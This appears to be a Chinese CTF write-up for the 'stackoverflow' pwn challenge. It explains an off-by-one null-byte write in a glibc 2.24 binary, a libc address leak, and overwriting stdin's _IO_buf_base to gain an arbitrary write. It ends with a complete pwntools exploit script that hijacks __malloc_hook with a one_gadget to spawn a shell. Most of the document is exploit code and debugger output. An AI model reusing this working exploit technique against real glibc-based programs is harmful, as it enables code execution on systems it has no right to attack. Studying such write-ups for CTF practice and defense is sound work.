0%

Stdin任意写

stackoverflow 复现

1
2
3
4
5
6
➜  桌面 ./stackoverflow
leave your name, bro:ywx
worrier ywx
, now begin your challengeWelcome to stackoverflow challenge!!!
it is really easy
please input the size to trigger stackoverflow:
1
2
3
4
5
6
7
8
9
stackoverflow: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.24-9ubuntu2_amd64/ld-2.24.so, for GNU/Linux 2.6.32, BuildID[sha1]=8f56f5f4fdfef79fe7ba6b8b8b042d5ee2b6101b, stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/stackoverflow'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: '/home/yhellow/tools/glibc-all-in-one/libs/2.24-9ubuntu2_amd64/'

64位,dynamically,开了NX,开了canary,Full RELRO

1
GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release versi

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 leak()
{
char v1[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 canary; // [rsp+68h] [rbp-8h]

canary = __readfsqword(0x28u);
printf("leave your name, bro:");
read_s(v1, 80);
printf("worrier %s, now begin your challenge", v1);
return __readfsqword(0x28u) ^ canary;
}

这个函数没有溢出,就是让我们来 leak libc_base 的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 pwn()
{
int data; // [rsp+8h] [rbp-18h] BYREF
int v2; // [rsp+Ch] [rbp-14h]
void *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &data);
IO_getc(stdin);
v2 = data;
while ( data > 3145728 )
{
puts("too much bytes to do stackoverflow.");
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &data);
IO_getc(stdin);
}
v3 = malloc(0x28uLL);
chunk_list = (__int64)malloc(data + 1);
if ( !chunk_list )
{
printf("Error!");
exit(0);
}
printf("padding and ropchain: ");
read_s((void *)chunk_list, data);
*(_BYTE *)(chunk_list + v2) = 0; // 末尾置空:off-by-one
return 0LL;
}

末尾字节置空,导致 off-by-one

data 的大小不能超过“3145728”,否则重新输入,但是后面却根据“v2”的大小来进行索引置空,也许有用

入侵思路

先获取 libc_base

1
2
3
4
5
6
7
8
9
10
11
pwndbg> stack 50
00:0000│ rsp 0x7fffffffde60 ◂— 0x5000000000
01:00080x7fffffffde68 —▸ 0x7fffffffde90 ◂— 0x3131313131313131 ('11111111')
02:00100x7fffffffde70 ◂— 0x0
03:00180x7fffffffde78 ◂— 0x2711fc69c0f4a500
04:0020│ rbp 0x7fffffffde80 —▸ 0x7fffffffdf00 —▸ 0x7fffffffdf20 —▸ 0x400ae0 ◂— 0x41ff894156415741
05:00280x7fffffffde88 —▸ 0x400a34 ◂— 0xbfc6894890458d48
06:0030│ rsi 0x7fffffffde90 ◂— 0x3131313131313131 ('11111111')
07:00380x7fffffffde98 —▸ 0x7ffff7a8dd0a (_IO_default_xsgetn+634) ◂— 0x554100401f0fffff
08:00400x7fffffffdea0 ◂— 0x0
09:00480x7fffffffdea8 —▸ 0x7ffff7dd2600 (_IO_2_1_stdout_) ◂— 0xfbad2887
1
2
3
4
5
6
7
8
9
10
p.recvuntil('leave your name, bro:')
p.send('1'*8)

p.recvuntil('worrier 11111111')
leak_addr=u64(p.recvuntil(',')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-515410
malloc_hook=libc_base+libc.sym['__malloc_hook']
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))
success('malloc_hook >> '+hex(malloc_hook))

程序有 off-by-one ,但和传统菜单题还不一样,它没有修改模块或者释放模块,只能进行申请操作,并且申请之后的 chunk 只有一次输入机会,此后便不能控制了

我用已知的知识就只能走到这里了(后面的内容涉及到 stdin_任意写)

libc-2.24 版本有一个特点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> p *stdin
$1 = {
_flags = -72540021,
_IO_read_ptr = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_read_end = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_read_base = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_write_base = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_write_ptr = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_write_end = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_buf_base = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_buf_end = 0x7febfb4bd944 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 16,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7febfb4bf770 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7febfb4bd9a0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
}
1
2
3
4
5
6
7
8
9
10
pwndbg> x/20xg & *stdin
0x7febfb4bd8c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007febfb4bd943
0x7febfb4bd8d0 <_IO_2_1_stdin_+16>: 0x00007febfb4bd943 0x00007febfb4bd943
0x7febfb4bd8e0 <_IO_2_1_stdin_+32>: 0x00007febfb4bd943 0x00007febfb4bd943
/* _IO_write_base _IO_write_ptr */
0x7febfb4bd8f0 <_IO_2_1_stdin_+48>: 0x00007febfb4bd943 0x00007febfb4bd943
/* _IO_write_end _IO_buf_base */
0x7febfb4bd900 <_IO_2_1_stdin_+64>: 0x00007febfb4bd944 0x0000000000000000
/* _IO_buf_end */
0x7febfb4bd910 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000

stdin 结构体中存储 _IO_buf_end 指针内存地址的末尾刚好为 \x00 ,若利用漏洞我们将 _IO_buf_base 末尾写 \x00 ,则会使得 _IO_buf_base 指向 stdin 结构体中存储 _IO_buf_end 指针内存地址,即可利用输入缓冲区覆盖 _IO_buf_end

接下来就是思考怎样才能把“\x00”覆盖到 “_IO_buf_base”

1
2
pwndbg> telescope 0x7ff3a17db010
00:00000x7ff3a17db010 ◂— 0x61616161 /* 'aaaa' */
1
2
3
4
5
6
7
pwndbg> x/20xg & *stdin
0x7ff3a1d9d8c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ff3a1d9d943
0x7ff3a1d9d8d0 <_IO_2_1_stdin_+16>: 0x00007ff3a1d9d943 0x00007ff3a1d9d943
0x7ff3a1d9d8e0 <_IO_2_1_stdin_+32>: 0x00007ff3a1d9d943 0x00007ff3a1d9d943
/* _IO_write_base _IO_write_ptr */
0x7ff3a1d9d8f0 <_IO_2_1_stdin_+48>: 0x00007ff3a1d9d943 0x00007ff3a1d9d943
/* _IO_write_end _IO_buf_base */
1
2
3
4
5
In [7]: 0x7ff3a1d9d8f0+0x8-0x7ff3a17db010
Out[7]: 6039784

In [8]: hex(6039784)
Out[8]: '0x5c28e8'

已知了偏移,就可以写入以下代码:

1
2
3
4
5
p.recvuntil('please input the size to trigger stackoverflow: ')
p.sendline(str(0x5c28e8))
add(0x200000,'aaaa')
p.recvuntil('please input the size to trigger stackoverflow: ')
p.send(p64(malloc_hook+8))
1
2
3
4
5
6
7
8
pwndbg> x/20xg & *stdin
0x7f68f09198c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f68f0919900
0x7f68f09198d0 <_IO_2_1_stdin_+16>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f09198e0 <_IO_2_1_stdin_+32>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f09198f0 <_IO_2_1_stdin_+48>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f0919900 <_IO_2_1_stdin_+64>: 0x00007f68f0919944 0x0000000000000000
/* 把_IO_buf_base尾字节置空以后,其他的字段都置空了(除了_IO_buf_end) */
/* 因为程序用setvbuf关闭了输入输出缓冲区,所以它们4个都是同步的(一样) */
1
2
3
4
5
6
7
8
pwndbg> x/20xg & *stdin
0x7f68f09198c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f68f0919901
0x7f68f09198d0 <_IO_2_1_stdin_+16>: 0x00007f68f0919908 0x00007f68f0919900
/* 注意一下_IO_read_ptr改变了 */
0x7f68f09198e0 <_IO_2_1_stdin_+32>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f09198f0 <_IO_2_1_stdin_+48>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f0919900 <_IO_2_1_stdin_+64>: 0x00007f68f0919af8 0x0000000000000000
/* malloc_hook + 8 已经写入 */

当把 _IO_buf_base 覆盖为 _IO_buf_end 后,从键盘中输入的应该存放在缓冲区的数据,就会覆盖 _IO_buf_base 作为新的缓冲区结束地址,在这里写入 malloc_hook + 8 后,从键盘中输入的数据就会覆盖到 malloc_hook + 8 的位置,进而劫持 malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(8):
p.sendline('\x00') # 可以用sendline,也可以用send

payload = p64(malloc_hook + 8) + p64(0)*6
payload += p64(0xFFFFFFFFFFFFFFFF) + p64(0)
payload += p64(libc_base + 3946352) + p64(0xFFFFFFFFFFFFFFFF)
payload += p64(0) + p64(libc_base + 3938720)
payload += p64(0)*3 + p64(0xFFFFFFFF)
payload += p64(0)*2 + p64(libc_base + 3924992)
payload += '\x00'*304
payload += p64(libc_base + 3923648) + p64(0)*2
payload += p64(one_gadget) + p64(realloc)
p.sendline(payload)

刚开始我很不能理解这里循环输入“\x00”的作用

每从输入缓冲区读1个字节数据就将 _IO_read_ptr 加1,当 _IO_read_ptr 等于 _IO_read_end 的时候便会调用 read 读数据到 _IO_buf_base 地址中,而写入 malloc_hook + 8 的时候就导致了 _IO_read_ptr + 8 ,使得条件不成立:

1
2
3
4
5
6
7
8
pwndbg> x/20xg & *stdin
0x7f68f09198c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f68f0919901
0x7f68f09198d0 <_IO_2_1_stdin_+16>: 0x00007f68f0919908 0x00007f68f0919900
/* 注意一下_IO_read_ptr改变了 */
0x7f68f09198e0 <_IO_2_1_stdin_+32>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f09198f0 <_IO_2_1_stdin_+48>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f0919900 <_IO_2_1_stdin_+64>: 0x00007f68f0919af8 0x0000000000000000
/* malloc_hook + 8 已经写入 */

而循环输入8次“\x00”后:

1
2
3
4
5
6
7
pwndbg> x/20xg & *stdin
0x7f0af67948c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f0af6794900
0x7f0af67948d0 <_IO_2_1_stdin_+16>: 0x00007f0af6794900 0x00007f0af6794900
0x7f0af67948e0 <_IO_2_1_stdin_+32>: 0x00007f0af6794900 0x00007f0af6794900
0x7f0af67948f0 <_IO_2_1_stdin_+48>: 0x00007f0af6794900 0x00007f0af6794900
0x7f0af6794900 <_IO_2_1_stdin_+64>: 0x00007f0af6794af8 0x0000000000000000
0x7f0af6794910 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000

发现 _IO_read_ptr 减回去了,分析源码得知:执行 fread 时会重置这些指针字段为 _IO_buf_base ,但是它有时不仅没有重置,反而会继续增加,而有时又会进行重置,不知道原因

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import*

p=process('./stackoverflow')
elf=ELF('./stackoverflow')
libc=ELF('./libc-2.24.so')

def add(size,padding):
p.recvuntil('please input the size to trigger stackoverflow: ')
p.sendline(str(size))
p.recvuntil('padding and ropchain: ')
p.send(padding)

#gdb.attach(p)

p.recvuntil('leave your name, bro:')
p.send('1'*8)

p.recvuntil('worrier 11111111')
leak_addr=u64(p.recvuntil(',')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-515410
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['realloc']
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))
success('malloc_hook >> '+hex(malloc_hook))
success('realloc >> '+hex(realloc))

p.recvuntil('please input the size to trigger stackoverflow: ')
p.sendline(str(0x5c28e8))
add(0x200000,'aaaa')
p.recvuntil('please input the size to trigger stackoverflow: ')
p.send(p64(malloc_hook+8))

one_gadget_list=[0x45526,0x4557a,0xf0a51,0xf18cb]
one_gadget=one_gadget_list[3]+libc_base

for i in range(8):
p.send('\x00')

payload = p64(malloc_hook + 8) + p64(0)*6
payload += p64(0xFFFFFFFFFFFFFFFF) + p64(0)
payload += p64(libc_base + 3946352) + p64(0xFFFFFFFFFFFFFFFF)
payload += p64(0) + p64(libc_base + 3938720)
payload += p64(0)*3 + p64(0xFFFFFFFF)
payload += p64(0)*2 + p64(libc_base + 3924992)
payload += '\x00'*304
payload += p64(libc_base + 3923648) + p64(0)*2
payload += p64(one_gadget) + p64(realloc)
p.sendline(payload)

p.interactive()

小结:

这道题算是经典的 stdin 任意写了,覆盖 _IO_buf_end 的操作很巧妙但也很巧合(仅限于libc-2.24),通过这题我算是把 stdin 任意写搞明白了,只是最后的操作真的有点迷,希望知道的大佬可以告诉我一下